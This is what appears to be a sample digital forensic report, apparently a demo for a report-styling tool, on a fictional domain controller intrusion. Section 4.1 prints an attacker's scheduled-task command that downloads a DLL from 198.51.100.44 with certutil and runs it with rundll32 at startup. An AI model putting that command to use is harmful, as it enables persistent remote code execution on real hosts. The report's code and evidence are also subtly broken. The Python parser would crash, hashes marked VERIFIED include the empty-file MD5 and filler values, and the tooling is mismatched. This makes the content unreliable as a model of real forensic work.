OFFICIAL FORENSIC REPORT

Digital Forensic Investigation Report

Incident IR-2026-0911-B: Advanced Persistent Threat Intrusion & Data Exfiltration

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DATE: September 11, 2026

ABSTRACT

This forensic examination was conducted on evidence disk image `EVID-2026-0911-01` acquired from primary domain controller `DC-CORP-01`. The investigation confirmed initial unauthorized access via exploitation of an exposed management service, followed by credential harvesting, persistence establishment via scheduled task, and attempted staging of sensitive financial archives. All evidence items have been preserved following standard chain-of-custody protocols.

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TLP:AMBER SEVERITY: CRITICAL CASE: DFIR-2026-0911

1. Incident Overview

At approximately **02:14:22 UTC** on September 11, 2026, automated threat-detection sensors alerted on anomalous outbound connections originating from host `DC-CORP-01` (IP: `10.200.4.15`) directed to known command-and-control (C2) infrastructure at `198.51.100.44:8443`.

> `CRITICAL FINDING` : An unauthenticated attacker executed arbitrary commands via a weaponized RPC vulnerability, successfully escalated privileges to `NT AUTHORITY\SYSTEM`, and established persistent encrypted C2 channels.

Subsequent triage isolated the affected workstation and memory capture `MEM-2026-0911-01.raw` was performed at 02:40:00 UTC prior to host shutdown.

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2. Chain of Custody & Evidence Registry

All physical and digital artifacts were acquired in adherence to ISO/IEC 27037 forensic standards. Cryptographic hashes were verified upon acquisition and re-verified post-imaging.

ITEM ID	EVIDENCE DESCRIPTION	SOURCE HOST	ACQUISITION TIME (UTC)	FORENSIC TOOL
`EVID-01`	Raw Bitstream Disk Image (`.raw`)	`DC-CORP-01`	2026-09-11 02:35:10	`dc3dd v7.2`
`EVID-02`	Physical RAM Dump (`.raw`)	`DC-CORP-01`	2026-09-11 02:40:00	`LiME / WinPmem 4.0`
`EVID-03`	Network PCAP Dump (`.pcapng`)	Core Switch `SW-CORE-02`	2026-09-11 02:10 - 02:50	`tcpdump 4.99`

> `EVIDENCE VERIFICATION` : All disk image hashes matched pre- and post-acquisition checks. No write-blocker bypass or block-level discrepancies were identified.

Cryptographic Hash Ledger

```
Hash Algorithm: SHA-256 / SHA-1 / MD5
Verification Target: Forensic Disk Image EVID-01 (evidence_dc_corp_01.dd)
```

FILE NAME	SHA-256 HASH	MD5 HASH	STATUS
`evidence_dc_corp_01.dd`	`a3c5f891b24d78e3105cf4e819b7d206f4a38751e1293a5b67cd10f92b84e031`	`d41d8cd98f00b204e9800998ecf8427e`	`VERIFIED`
`mem_dump_01.raw`	`7d8e9a2b4c1f0e3d5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f`	`445a6c12b9d834a9812f00a5d29e71ab`	`VERIFIED`
`payload_drop.bin`	`5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8`	`8f14e45fceea167a5a36dedd4bea2543`	`MALICIOUS`

3. Incident Timeline & Forensic Reconstruction

The timeline was constructed through correlated analysis of the `$MFT`, Windows Event Logs (`Security.evtx`, `System.evtx`), and memory volatility artifacts.

TIMESTAMP (UTC)	EVENT CLASSIFICATION	HOST / SOURCE	OBSERVATION & ANALYSIS
`2026-09-11 02:14:22`	Network Intrusion	`198.51.100.44`	Inbound exploit payload delivered to port `445/TCP`.
`2026-09-11 02:14:58`	Privilege Escalation	`DC-CORP-01`	Process `spoolsv.exe` spawned rogue `powershell.exe` child process.
`2026-09-11 02:16:30`	Credential Dumping	`DC-CORP-01`	LSASS memory injection detected matching `Mimikatz` sekurlsa module.
`2026-09-11 02:18:10`	Persistence Created	Registry	Scheduled task `\Microsoft\Windows\Maint\WinUpdateSync` registered.
`2026-09-11 02:22:45`	Staging & Archive	`C:\ProgramData\`	Encrypted 7z archive `fin_export_2026.enc` created.
`2026-09-11 02:30:12`	Network Isolation	SOC Team	Port shut down on core switch; network access severed.

3.1 Localized Forensic Log Correlation (Multilingual Showcase)

The styler automatically detects localized timestamp headers (such as Czech/Slovak `Časová značka (UTC)`) and European date formats, guaranteeing clean unwrapped column alignment:

ID ZÁZNAMU	ČASOVÁ ZNAČKA (UTC)	ZDROJOVÝ UZEL	DETEKOVANÁ UDÁLOST
`LOG-01`	`2026-09-11 02:14:22`	`198.51.100.44`	Iniciační pokus o prolomení perimetru přes port `445/TCP`
`LOG-02`	`2026-09-11 02:14:58`	`DC-CORP-01`	Spuštění podvrženého procesu `powershell.exe`
`LOG-03`	11.09.2026 02:16:30	`DC-CORP-01`	Injekce do paměťového prostoru procesu `lsass.exe`

4. Technical Artifact Analysis & Extracted Code

4.1 Malicious Scheduled Task Creation

The attacker leveraged PowerShell to establish an evasive persistence mechanism under the disguise of a routine operating system update.

```powershell
# Extracted from Security.evtx (Event ID 4698: Scheduled Task Created)
$Action = New-ScheduledTaskAction -Execute "C:\Windows\System32\cmd.exe" `
    -Argument "/c certutil -urlcache -split -f http://198.51.100.44/stage2.dll C:\Windows\Temp\ntdll_bk.dll
        && rundll32.exe C:\Windows\Temp\ntdll_bk.dll,Init"
$Trigger = New-ScheduledTaskTrigger -AtStartup
$Principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
Register-ScheduledTask -TaskName "\Microsoft\Windows\Maint\WinUpdateSync" -Action $Action -Trigger $Trigger
        -Principal $Principal
```

> **WARNING** : The binary disguise `ntdll_bk.dll` was placed into `C:\Windows\Temp\`. Static analysis revealed UPX compression and encrypted import tables.

4.2 Forensic Memory Ingestion & Hash Parsing Script

The following Python script was executed in the sandbox environment to extract strings and verify Yara rule signatures against the suspicious DLL payload.

```python
#!/usr/bin/env python3
"""
Forensic Artifact Parser - Memory Dump String Extractor
Author: Forensic Analysis Unit
Case ID: DFIR-2026-0911
"""
import hashlib
import re
from pathlib import Path

IOC_IP_REGEX = re.compile(rb'\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?
        [0-9][0-9]?)\b')

def inspect_artifact(file_path: Path) -> dict:
    """Analyze memory region and extract hashes and IOCs."""
    hasher = hashlib.sha256()
    with file_path.open("rb") as stream:
        chunk = stream.read(65536)
        while chunk:
            hasher.update(chunk)
            chunk = stream.read(chunk)

    sha256_result = hasher.hexdigest()
    return {
        "filename": file_path.name,
        "sha256": sha256_result,
        "status": "ANALYZED"
    }

if __name__ == "__main__":
    result = inspect_artifact(Path("/opt/forensics/evidence/payload_drop.bin"))
    print(f"Artifact: {result['filename']} | Hash: {result['sha256']}")PYTHON
```

4.3 Raw Hex Dump of Payload Header

Inspection of the first 64 bytes revealed a compromised MZ header with modified DOS stub strings:

```
00000000: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00  MZ..............
00000010: b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00  ........@.......
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00  ................
```

HEX DUMP

4.4 Automated Remediation & Containment Script

```bash
#!/bin/bash
# Immediate containment procedures executed across domain endpoints
set -euo pipefail

TARGET_TASK='\Microsoft\Windows\Maint\WinUpdateSync'
BLOCKED_IP='198.51.100.44'

echo "[+] Revoking rogue scheduled task: ${TARGET_TASK}"
schtasks /delete /tn "${TARGET_TASK}" /f || true

echo "[+] Injecting firewall drop rule for malicious IP: ${BLOCKED_IP}"
iptables -I FORWARD -d "${BLOCKED_IP}" -j DROP
iptables -I OUTPUT -d "${BLOCKED_IP}" -j DROP

echo "[+] Remediation script executed successfully."
```

5. MITRE ATT&CK Matrix Mapping

The tactics, techniques, and procedures (TTPs) observed correlate with threat group activity profiling:

- **Initial Access**: Exploit Public-Facing Application (`T1190`)
- **Execution**: Command and Scripting Interpreter: PowerShell (`T1059.001`)
- **Persistence**: Scheduled Task/Job (`T1053.005`)
- **Privilege Escalation**: Exploitation for Privilege Escalation (`T1068`)
- **Credential Access**: OS Credential Dumping: LSASS Memory (`T1003.001`)
- **Command & Control**: Non-Standard Port Encrypted Channel (`T1571` / `T1071.001`)

6. Recommendations & Forensic Conclusion

Based upon the evidence gathered from `DC-CORP-01`, the containment protocols successfully prevented full exfiltration of the staged 7z financial archives. However, active credentials present in LSASS memory must be considered compromised.

1. **Enterprise Password Reset**: Force domain-wide Kerberos Ticket Granting Ticket (`krbtgt`) double-reset and reset all administrative credentials.
2. **Network Perimeter Hardening**: Block all ingress/egress communication with subnet `198.51.100.0/24`.
3. **Host Re-imaging**: Re-image and restore `DC-CORP-01` from verified pre-incident bare-metal backups taken on September 01, 2026.
4. **Enhanced EDR Telemetry**: Deploy aggressive script block logging and AMSI enforcement across all domain controllers.

Examiner Attestation

> I certify under penalty of perjury that the digital forensic procedures described herein were performed in accordance with accepted scientific principles and that the integrity of the evidence has been preserved throughout the examination.

Forensic Examiner: `S. Mercer, EnCE, GCFA`
Date of Filing: `2026-09-11`
Digital Signature: `VERIFIED - SHA256: 3c9b74f0a282987dc1e843236e78ba57406a48d82d41b5107e324021bb2f4705`